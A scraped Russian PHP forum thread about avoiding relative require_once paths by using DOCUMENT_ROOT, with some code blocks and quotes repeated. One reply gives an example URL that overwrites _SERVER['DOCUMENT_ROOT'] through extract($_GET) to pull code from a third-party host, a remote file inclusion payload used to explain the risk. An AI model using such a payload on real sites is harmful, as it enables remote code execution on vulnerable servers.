<?php
require_once "top.php";
?>
<?php
require_once "bottom.php";
?>
Как оптимизировать параметр require_once?
Код:
Допустим какая-то страничка находится в папке /some/ на сервере.
Если я там пишу так:
Код:
<?php
require_once "/top.php";
?>
<?php
require_once "/bottom.php";
?>
require_once "/top.php";
?>
<?php
require_once "/bottom.php";
?>
То это не работает!!!
Приходится писать так:
Код:
<?php
require_once "../top.php";
?>
<?php
require_once "../bottom.php";
?>
require_once "../top.php";
?>
<?php
require_once "../bottom.php";
?>
А если страничка находится в папке /dur/subdir/sub_subdir/
То приходится писать вот так:
Код:
<?php
require_once "../../../top.php";
?>
<?php
require_once "../../../bottom.php";
?>
require_once "../../../top.php";
?>
<?php
require_once "../../../bottom.php";
?>
Как решить эту проблему?
Хотелось бы чтобы везде было написано одно и то же!
require($_SERVER["DOCUMENT_ROOT"]."/inc/header.php");
--
Пока отвечал после хорошо отмеченного проф. праздника, меня опередили :)
Спасибо! Работает!
Цитата: Nixus
require($_SERVER["DOCUMENT_ROOT"]."/inc/header.php");
использование $_SERVER не всегда может быть безопасным
Код:
$DOCUMENT_ROOT = getenv("DOCUMENT_ROOT");
require_once( $DOCUMENT_ROOT."/inc/header.php" );
require_once( $DOCUMENT_ROOT."/inc/header.php" );
Цитата: Romik
использование $_SERVER не всегда может быть безопасным
Кстати, не знаете почему? Тоже об этом слышал но вот почему - вменяемого ответа не слышал..
Может пример кто-то сможет привести...
Цитата: Romik
использование $_SERVER не всегда может быть безопасным
Например?
http://example.com/page.php?_SERVER['DOCUMENT_ROOT']=http://thirdpaty.com/page.txt?!!
позже вы пытаетесь инклудить эту строку, после возможного extract($_GET); Конечно, такое стечение фактов весьма странное, потому что надо быть имбецилом, чтобы экстрактить $_GET, но те кто поддерживают старый код, знают что это реальность :-)
позже вы пытаетесь инклудить эту строку, после возможного extract($_GET); Конечно, такое стечение фактов весьма странное, потому что надо быть имбецилом, чтобы экстрактить $_GET, но те кто поддерживают старый код, знают что это реальность :-)
Цитата: Romik
http://example.com/page.php?_SERVER['DOCUMENT_ROOT']=http://thirdpaty.com/page.txt?!!
позже вы пытаетесь инклудить эту строку, после возможного extract($_GET); Конечно, такое стечение фактов весьма странное, потому что надо быть имбецилом, чтобы экстрактить $_GET, но те кто поддерживают старый код, знают что это реальность :-)
позже вы пытаетесь инклудить эту строку, после возможного extract($_GET); Конечно, такое стечение фактов весьма странное, потому что надо быть имбецилом, чтобы экстрактить $_GET, но те кто поддерживают старый код, знают что это реальность :-)
В данном случае дыра не в использовании $_SERVER, а в использовании extract. При нем может затерется и куча других переменных.